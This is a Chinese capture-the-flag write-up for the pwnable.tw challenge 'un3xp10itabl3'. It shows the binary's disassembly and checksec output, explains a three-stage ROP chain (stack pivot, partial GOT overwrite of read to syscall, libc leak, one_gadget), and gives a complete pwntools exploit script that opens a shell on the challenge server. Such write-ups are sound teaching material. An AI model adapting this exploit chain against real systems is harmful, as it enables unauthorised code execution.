Question

程序代码

   0x400544 <main>:    push   rbp
   0x400545 <main+1>:    mov    rbp,rsp
=> 0x400548 <main+4>:    sub    rsp,0x10
   0x40054c <main+8>:    mov    edi,0x3
   0x400551 <main+13>:    mov    eax,0x0
   0x400556 <main+18>:    call   0x400450 <sleep@plt>
   0x40055b <main+23>:    lea    rax,[rbp-0x10]
   0x40055f <main+27>:    mov    edx,0x100
   0x400564 <main+32>:    mov    rsi,rax
   0x400567 <main+35>:    mov    edi,0x0
   0x40056c <main+40>:    mov    eax,0x0
   0x400571 <main+45>:    call   0x400430 <read@plt>
   0x400576 <main+50>:    leave  
   0x400577 <main+51>:    ret

500pts，程序简单粗暴，只有一个read,但明显有溢出。

checksec

[*] '/home/b0ldfrev/un3xp10itabl3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

漏洞利用

第一段payload完成溢出，并调用read将第二段payload写入bss段中，同时利用gad2的pop rbp，ret到leave ret将栈迁移到bss段上。

第二段payload再次调用read，传入1byte的数据，控制返回值 rax=0x1 (write syscall)的同时，完成修改GOT表中read的LSB变为syscall。利用syscall调用write泄漏sleep的地址，计算出onegadget地址，利用gad2的pop rbp构造出程序正常执行流程的rbp 校正与rsp差值，ret到lea rax,[rbp-0x10]，再次完成溢出。

第三段payload，溢出到one_gadget.

EXP

from pwn import *

context(os='linux', arch='amd64')

p=remote("chall.pwnable.tw",10403)

read_got=0x601000
read_plt=0x400430
sleep_got=0x601010
bss=0x601028
gad1=0x4005e6
gad2=0x4005d0

rop1=p64(gad1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0x0)+p64(bss)+p64(0x110)+p64(gad2)+"e"*0x10+p64(bss)+"e"*0x20+p64(0x400576)

sleep(3)

raw_input()

p.send("a"*24+rop1)

rop2= p64(0)+p64(gad1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0x0)+p64(read_got)+p64(0x1)+p64(gad2)+"e"*0x38
rop2+= p64(gad1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0x1)+p64(sleep_got)+p64(0x8)+p64(gad2)+"e"*0x10+p64(0x601148)+"e"*0x20+p64(0x40055b)

p.send(rop2)

sleep(1)

p.send("\x7e")

sleep=0xcb680
libc_base = u64(p.recvuntil('\x00',drop=True).ljust(0x8,"\x00"))-sleep
print "libc_base : " + hex(libc_base)

one_offset=0x4526a
one_gadget=libc_base+one_offset

p.send("a"*24+p64(one_gadget)+"\x00"*0xe0)

p.interactive()

运行结果:

程序下载